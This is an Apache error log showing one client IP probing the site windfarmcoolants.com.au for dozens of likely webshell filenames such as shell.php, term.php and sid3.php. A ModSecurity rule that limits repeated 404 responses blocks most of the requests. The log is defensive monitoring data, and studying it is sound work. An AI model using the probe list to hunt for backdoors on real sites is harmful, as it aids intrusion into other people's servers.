[Sun Apr 19 22:25:00.436339 2026] [:error] [pid 15764:tid 15841] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/ms.php
[Sun Apr 19 22:25:00.971713 2026] [:error] [pid 15764:tid 15828] [client 20.166.83.47:45935] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeTlvGLL_sqdSHoVp-QwCgAAAkI"]
[Sun Apr 19 22:25:02.183522 2026] [:error] [pid 15760:tid 15778] [client 20.166.83.47:60769] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeTlvvSdD_XHQMJ_IStRQwAAAco"]
[Sun Apr 19 22:25:03.573842 2026] [:error] [pid 15764:tid 15831] [client 20.166.83.47:22159] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeTlv2LL_sqdSHoVp-QwGwAAAkU"]
[Sun Apr 19 22:25:05.536764 2026] [:error] [pid 15764:tid 15834] [client 20.166.83.47:36945] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aeTlwWLL_sqdSHoVp-QwKAAAAkg"]
[Sun Apr 19 22:25:06.557308 2026] [:error] [pid 15765:tid 15867] [client 20.166.83.47:3379] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeTlwvRqinw-W5EwQ74EZwAAAo4"]
[Sun Apr 19 22:25:07.612870 2026] [:error] [pid 15760:tid 15773] [client 20.166.83.47:39798] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeTlw_SdD_XHQMJ_IStRTgAAAcU"]
[Sun Apr 19 22:25:09.369309 2026] [:error] [pid 15764:tid 15829] [client 20.166.83.47:45909] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeTlxWLL_sqdSHoVp-QwMQAAAkM"]
[Sun Apr 19 22:25:10.781348 2026] [:error] [pid 15763:tid 15820] [client 20.166.83.47:45896] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bmi.php"] [unique_id "aeTlxrMXv1Y1THOoxaAK2wAAAhg"]
[Sun Apr 19 22:25:12.672600 2026] [:error] [pid 47772:tid 47806] [client 20.166.83.47:18871] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeTlyIc0L16cb4smAz_R5gAAABE"]
[Sun Apr 19 22:25:14.190025 2026] [:error] [pid 47772:tid 47804] [client 20.166.83.47:39754] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeTlyoc0L16cb4smAz_R8AAAAA8"]
[Sun Apr 19 22:25:16.362698 2026] [:error] [pid 47773:tid 47822] [client 20.166.83.47:3340] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeTlzOiBHdnCJDuPq9BQrgAAAEY"]
[Sun Apr 19 22:25:17.549621 2026] [:error] [pid 47772:tid 47810] [client 20.166.83.47:18840] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeTlzYc0L16cb4smAz_R_AAAABU"]
[Sun Apr 19 22:25:19.003456 2026] [:error] [pid 15763:tid 15804] [client 20.166.83.47:30698] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeTlz7MXv1Y1THOoxaAK5AAAAgg"]
[Sun Apr 19 22:25:20.800778 2026] [:error] [pid 15694:tid 15748] [client 20.166.83.47:30657] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeTl0LimB-jol1fwqAoV1gAAAZY"]
[Sun Apr 19 22:25:22.522007 2026] [:error] [pid 47773:tid 47827] [client 20.166.83.47:39785] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeTl0uiBHdnCJDuPq9BQswAAAEs"]
[Sun Apr 19 22:25:23.793594 2026] [:error] [pid 15693:tid 15716] [client 20.166.83.47:43111] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeTl08NMD-ccazQlTslhTQAAAVQ"]
[Sun Apr 19 22:25:25.068802 2026] [:error] [pid 47775:tid 47863] [client 20.166.83.47:39762] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeTl1bmztjlk9tsmoewh_QAAAJQ"]
[Sun Apr 19 22:25:26.436124 2026] [:error] [pid 15765:tid 15873] [client 20.166.83.47:45924] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeTl1vRqinw-W5EwQ74EbQAAApQ"]
[Sun Apr 19 22:25:27.786394 2026] [:error] [pid 47886:tid 47892] [client 20.166.83.47:50571] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeTl10Se8yiyuPrD7yOBxQAAAMQ"]
[Sun Apr 19 22:25:29.456965 2026] [:error] [pid 47772:tid 47795] [client 20.166.83.47:33392] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeTl2Yc0L16cb4smAz_SEQAAAAY"]
[Sun Apr 19 22:25:30.817713 2026] [:error] [pid 47772:tid 47810] [client 20.166.83.47:33350] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTl2oc0L16cb4smAz_SFgAAABU"]
[Sun Apr 19 22:25:32.287165 2026] [:error] [pid 47772:tid 47813] [client 20.166.83.47:60767] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTl3Ic0L16cb4smAz_SHQAAABg"]
[Sun Apr 19 22:25:34.469592 2026] [:error] [pid 15764:tid 15848] [client 20.166.83.47:39764] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTl3mLL_sqdSHoVp-QwUAAAAlY"]
[Sun Apr 19 22:25:35.849137 2026] [:error] [pid 47886:tid 47894] [client 20.166.83.47:3369] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTl30Se8yiyuPrD7yOBzAAAAMY"]
[Sun Apr 19 22:25:37.710875 2026] [:error] [pid 15763:tid 15808] [client 20.166.83.47:50604] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTl4bMXv1Y1THOoxaAK-wAAAgw"]
[Sun Apr 19 22:25:39.732408 2026] [:error] [pid 47772:tid 47806] [client 20.166.83.47:50590] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTl44c0L16cb4smAz_SMwAAABE"]
[Sun Apr 19 22:25:40.622542 2026] [:error] [pid 47775:tid 47849] [client 20.166.83.47:49745] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTl5Lmztjlk9tsmoewiCQAAAIY"]
[Sun Apr 19 22:25:43.068188 2026] [:error] [pid 15764:tid 15843] [client 20.166.83.47:18873] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTl52LL_sqdSHoVp-QwXwAAAlE"]
[Sun Apr 19 22:25:44.583719 2026] [:error] [pid 15694:tid 15738] [client 20.166.83.47:49752] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTl6LimB-jol1fwqAoV4AAAAYw"]
[Sun Apr 19 22:25:45.739558 2026] [:error] [pid 47886:tid 47902] [client 20.166.83.47:37739] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTl6USe8yiyuPrD7yOB0wAAAM4"]
[Sun Apr 19 22:25:47.701305 2026] [:error] [pid 15760:tid 15782] [client 20.166.83.47:50583] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTl6_SdD_XHQMJ_IStRcAAAAc4"]
[Sun Apr 19 22:25:50.028724 2026] [:error] [pid 15765:tid 15861] [client 20.166.83.47:3333] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTl7vRqinw-W5EwQ74EewAAAog"]
[Sun Apr 19 22:25:51.127101 2026] [:error] [pid 15765:tid 15863] [client 20.166.83.47:3337] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTl7_Rqinw-W5EwQ74EfgAAAoo"]
[Sun Apr 19 22:25:52.304452 2026] [:error] [pid 15765:tid 15859] [client 20.166.83.47:50622] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTl8PRqinw-W5EwQ74EggAAAoY"]
[Sun Apr 19 22:25:53.866097 2026] [:error] [pid 47772:tid 47803] [client 20.166.83.47:43112] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTl8Yc0L16cb4smAz_SRwAAAA4"]
[Sun Apr 19 22:25:55.093966 2026] [:error] [pid 15760:tid 15777] [client 20.166.83.47:60746] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTl8_SdD_XHQMJ_IStRggAAAck"]
[Sun Apr 19 22:25:56.780469 2026] [:error] [pid 15763:tid 15801] [client 20.166.83.47:41479] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeTl9LMXv1Y1THOoxaALEwAAAgU"]
[Sun Apr 19 22:25:58.588737 2026] [:error] [pid 47886:tid 47904] [client 20.166.83.47:22163] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeTl9kSe8yiyuPrD7yOB4QAAANA"]
[Sun Apr 19 22:26:00.408453 2026] [:error] [pid 15760:tid 15783] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/first.php
[Sun Apr 19 22:26:00.714539 2026] [:error] [pid 15760:tid 15770] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Sun Apr 19 22:26:01.046581 2026] [:error] [pid 15760:tid 15776] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sun Apr 19 22:26:01.318250 2026] [:error] [pid 15760:tid 15777] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/asd.php
[Sun Apr 19 22:26:02.734597 2026] [:error] [pid 15760:tid 15771] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-access.php
[Sun Apr 19 22:26:03.396017 2026] [:error] [pid 15760:tid 15782] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Sun Apr 19 22:26:03.665059 2026] [:error] [pid 15760:tid 15775] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sun Apr 19 22:26:03.934691 2026] [:error] [pid 15760:tid 15773] [client 20.166.83.47:36517] File does not exist: /usr/local/apache/htdocs/suspended-page/900.php
[Sun Apr 19 22:26:04.610530 2026] [:error] [pid 15760:tid 15778] [client 20.166.83.47:36517] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTl_PSdD_XHQMJ_IStRmQAAAco"]
[Sun Apr 19 22:26:06.286730 2026] [:error] [pid 47775:tid 47848] [client 20.166.83.47:34069] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTl_rmztjlk9tsmoewiHwAAAIU"]
[Sun Apr 19 22:26:07.331741 2026] [:error] [pid 15763:tid 15798] [client 20.166.83.47:44529] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTl_7MXv1Y1THOoxaALGQAAAgI"]
[Sun Apr 19 22:26:08.829700 2026] [:error] [pid 15764:tid 15826] [client 20.166.83.47:44492] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTmAGLL_sqdSHoVp-QwrgAAAkA"]
[Sun Apr 19 22:26:10.022625 2026] [:error] [pid 15764:tid 15850] [client 20.166.83.47:41506] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeTmAmLL_sqdSHoVp-QwuwAAAlc"]
[Sun Apr 19 22:26:11.080169 2026] [:error] [pid 15693:tid 15712] [client 20.166.83.47:51095] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeTmA8NMD-ccazQlTslhYQAAAVA"]
[Sun Apr 19 22:26:11.993668 2026] [:error] [pid 15763:tid 15805] [client 20.166.83.47:32905] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeTmA7MXv1Y1THOoxaALHwAAAgk"]
[Sun Apr 19 22:26:13.284591 2026] [:error] [pid 15763:tid 15812] [client 20.166.83.47:47487] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeTmBbMXv1Y1THOoxaALIwAAAhA"]
[Sun Apr 19 22:26:15.211610 2026] [:error] [pid 47773:tid 47821] [client 20.166.83.47:31019] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "aeTmB-iBHdnCJDuPq9BQ2wAAAEU"]
[Sun Apr 19 22:26:17.229968 2026] [:error] [pid 15694:tid 15730] [client 20.166.83.47:28745] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "aeTmCbimB-jol1fwqAoV9gAAAYQ"]
[Sun Apr 19 22:26:19.116968 2026] [:error] [pid 47775:tid 47861] [client 20.166.83.47:40844] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "aeTmC7mztjlk9tsmoewiJQAAAJI"]
[Sun Apr 19 22:26:20.140383 2026] [:error] [pid 47775:tid 47849] [client 20.166.83.47:40867] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "aeTmDLmztjlk9tsmoewiKQAAAIY"]
[Sun Apr 19 22:26:21.833930 2026] [:error] [pid 15763:tid 15805] [client 20.166.83.47:3952] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeTmDbMXv1Y1THOoxaALJwAAAgk"]
[Sun Apr 19 22:26:23.323407 2026] [:error] [pid 15763:tid 15815] [client 20.166.83.47:28736] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeTmD7MXv1Y1THOoxaALKwAAAhM"]
[Sun Apr 19 22:26:24.798094 2026] [:error] [pid 47773:tid 47825] [client 20.166.83.47:23765] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeTmEOiBHdnCJDuPq9BQ8AAAAEk"]
